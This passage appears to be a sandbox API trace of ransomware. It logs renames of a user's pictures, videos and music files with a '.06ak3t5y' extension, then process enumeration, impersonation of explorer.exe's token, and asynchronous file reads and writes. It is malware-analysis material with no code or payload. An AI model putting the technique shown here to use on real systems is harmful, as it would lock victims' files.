"c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\55q51_2mfoeyojiu_8bh.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\55Q51_2mFoEYojiU_8BH.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\55q51_2mfoeyojiu_8bh.jpg.06ak3t5y")) returned 1 [0114.412] CloseHandle (hObject=0x528) returned 1 [0114.413] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x118) returned 0x2086fa8 [0114.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\aJWpRqDZA.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\ajwprqdza.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\aJWpRqDZA.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\ajwprqdza.gif.06ak3t5y")) returned 1 [0114.414] CloseHandle (hObject=0x52c) returned 1 [0114.416] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x120) returned 0x2086fa8 [0114.416] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\IA7JV0e2T8Oe4.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\ia7jv0e2t8oe4.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\IA7JV0e2T8Oe4.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\ia7jv0e2t8oe4.gif.06ak3t5y")) returned 1 [0114.419] CloseHandle (hObject=0x530) returned 1 [0114.420] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12a) returned 0x2086fa8 [0114.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\oxIXE d2SG2U3vtmV4.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\oxixe d2sg2u3vtmv4.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\oxIXE d2SG2U3vtmV4.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\oxixe d2sg2u3vtmv4.jpg.06ak3t5y")) returned 1 [0114.422] CloseHandle (hObject=0x534) returned 1 [0114.423] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10c) returned 0x2086fa8 [0114.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\Wwv.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\wwv.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\Wwv.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\wwv.gif.06ak3t5y")) returned 1 [0114.424] CloseHandle (hObject=0x538) returned 1 [0114.425] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x136) returned 0x2086fa8 [0114.425] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\2ffSIYfA.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\2ffsiyfa.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\2ffSIYfA.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\2ffsiyfa.avi.06ak3t5y")) returned 1 [0114.426] CloseHandle (hObject=0x53c) returned 1 [0114.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x142) returned 0x2086fa8 [0114.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\9 Xl7VDkgY6-wg.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\9 xl7vdkgy6-wg.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\9 Xl7VDkgY6-wg.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\9 xl7vdkgy6-wg.flv.06ak3t5y")) returned 1 [0114.429] CloseHandle (hObject=0x540) returned 1 [0114.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13e) returned 0x2086fa8 [0114.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\9HM9EiKKHQDc.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\9hm9eikkhqdc.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\9HM9EiKKHQDc.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\9hm9eikkhqdc.avi.06ak3t5y")) returned 1 [0114.430] CloseHandle (hObject=0x544) returned 1 [0114.431] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13c) returned 0x2086fa8 [0114.431] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\HpvyDPQAkKJ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\hpvydpqakkj.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\HpvyDPQAkKJ.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\hpvydpqakkj.flv.06ak3t5y")) returned 1 [0114.433] CloseHandle (hObject=0x548) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14a) returned 0x206f7b0 [0114.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\JuDbn30 9F_roNgQes.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\judbn30 9f_rongqes.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\JuDbn30 9F_roNgQes.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\judbn30 9f_rongqes.mkv.06ak3t5y")) returned 1 [0114.435] CloseHandle (hObject=0x54c) returned 1 [0114.436] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x146) returned 0x2086fa8 [0114.436] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\mJT-A5Ds0gaSzDwA.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\mjt-a5ds0gaszdwa.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\mJT-A5Ds0gaSzDwA.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\mjt-a5ds0gaszdwa.mp4.06ak3t5y")) returned 1 [0114.437] CloseHandle (hObject=0x550) returned 1 [0114.438] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x140) returned 0x2086fa8 [0114.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\MN2fRXhA5KMSN.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\mn2frxha5kmsn.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\MN2fRXhA5KMSN.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\mn2frxha5kmsn.avi.06ak3t5y")) returned 1 [0114.439] CloseHandle (hObject=0x554) returned 1 [0114.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14c) returned 0x206f7b0 [0114.440] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\O_UhiNhDbBLtgGs6Jr3.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\o_uhinhdbbltggs6jr3.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\O_UhiNhDbBLtgGs6Jr3.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\o_uhinhdbbltggs6jr3.mp4.06ak3t5y")) returned 1 [0114.441] CloseHandle (hObject=0x558) returned 1 [0114.442] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12e) returned 0x2086fa8 [0114.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\WD5g.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\wd5g.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\WD5g.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\wd5g.mp4.06ak3t5y")) returned 1 [0114.443] CloseHandle (hObject=0x55c) returned 1 [0114.444] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x15a) returned 0x206f7b0 [0114.444] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\fzrBYt6NpDQwO5Q5TkIW.swf" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\fzrbyt6npdqwo5q5tkiw.swf"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\fzrBYt6NpDQwO5Q5TkIW.swf.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\fzrbyt6npdqwo5q5tkiw.swf.06ak3t5y")) returned 1 [0114.447] CloseHandle (hObject=0x560) returned 1 [0114.451] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x142) returned 0x3684f80 [0114.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\gA9Bro P.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\ga9bro p.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\gA9Bro P.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\ga9bro p.avi.06ak3t5y")) returned 1 [0114.452] CloseHandle (hObject=0x564) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x15a) returned 0x206f7b0 [0114.453] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\M7OnrBjG B X3hx1RY8.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\m7onrbjg b x3hx1ry8.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\M7OnrBjG B X3hx1RY8.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\m7onrbjg b x3hx1ry8.avi.06ak3t5y")) returned 1 [0114.453] CloseHandle (hObject=0x568) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x154) returned 0x206f7b0 [0114.454] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\MtPnwAXwt4ZCco-8N.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\mtpnwaxwt4zcco-8n.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\MtPnwAXwt4ZCco-8N.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\mtpnwaxwt4zcco-8n.mp4.06ak3t5y")) returned 1 [0114.455] CloseHandle (hObject=0x56c) returned 1 [0114.456] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13c) returned 0x2086fa8 [0114.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\qKKWB.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\qkkwb.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\qKKWB.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\qkkwb.mkv.06ak3t5y")) returned 1 [0114.457] CloseHandle (hObject=0x570) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13e) returned 0x2086fa8 [0114.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\_HmHS0.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\_hmhs0.mp4"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\dAcD0\\_HmHS0.mp4.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\dacd0\\_hmhs0.mp4.06ak3t5y")) returned 1 [0114.459] CloseHandle (hObject=0x42c) returned 1 [0114.878] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0114.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.06ak3t5y" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.06ak3t5y")) returned 1 [0114.894] CloseHandle (hObject=0x430) returned 1 [0115.125] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x108) returned 0x2086fa8 [0115.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.06ak3t5y" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.06ak3t5y")) returned 1 [0128.308] GetCurrentProcess () returned 0xffffffff [0128.308] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x425ff64 | out: TokenHandle=0x425ff64*=0x0) returned 0 Thread: id = 29 os_tid = 0xf88 [0110.402] GetCurrentProcess () returned 0xffffffff [0110.402] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x439ff3c | out: TokenHandle=0x439ff3c*=0x254) returned 1 [0110.402] GetTokenInformation (in: TokenHandle=0x254, TokenInformationClass=0x19, TokenInformation=0x439feec, TokenInformationLength=0x4c, ReturnLength=0x439ff38 | out: TokenInformation=0x439feec, ReturnLength=0x439ff38) returned 1 [0110.402] IsValidSid (pSid=0x439fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.402] CloseHandle (hObject=0x254) returned 1 [0110.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x254 [0110.407] Process32FirstW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.407] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.408] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.409] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.409] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.410] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.411] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.411] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.412] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.413] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.414] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.415] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.416] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.417] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.418] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.419] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.420] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.421] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.422] Process32NextW (in: hSnapshot=0x254, lppe=0x439fcf8 | out: lppe=0x439fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.423] CloseHandle (hObject=0x254) returned 1 [0110.423] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0x254 [0110.423] OpenProcessToken (in: ProcessHandle=0x254, DesiredAccess=0xf01ff, TokenHandle=0x439ff6c | out: TokenHandle=0x439ff6c*=0x238) returned 1 [0110.423] ImpersonateLoggedOnUser (hToken=0x238) returned 1 [0110.423] CloseHandle (hObject=0x254) returned 1 [0110.423] CloseHandle (hObject=0x238) returned 1 [0110.423] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.587] ReadFile (in: hFile=0x238, lpBuffer=0x38806e0, nNumberOfBytesToRead=0x10b1e, lpNumberOfBytesRead=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38806e0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3880590) returned 1 [0110.590] RtlGetLastWin32Error () returned 0x3e5 [0110.590] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.721] WriteFile (in: hFile=0x270, lpBuffer=0x38acf78, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38acf50 | out: lpBuffer=0x38acf78, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38acf50) returned 0x0 [0110.721] RtlGetLastWin32Error () returned 0x3e5 [0110.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, 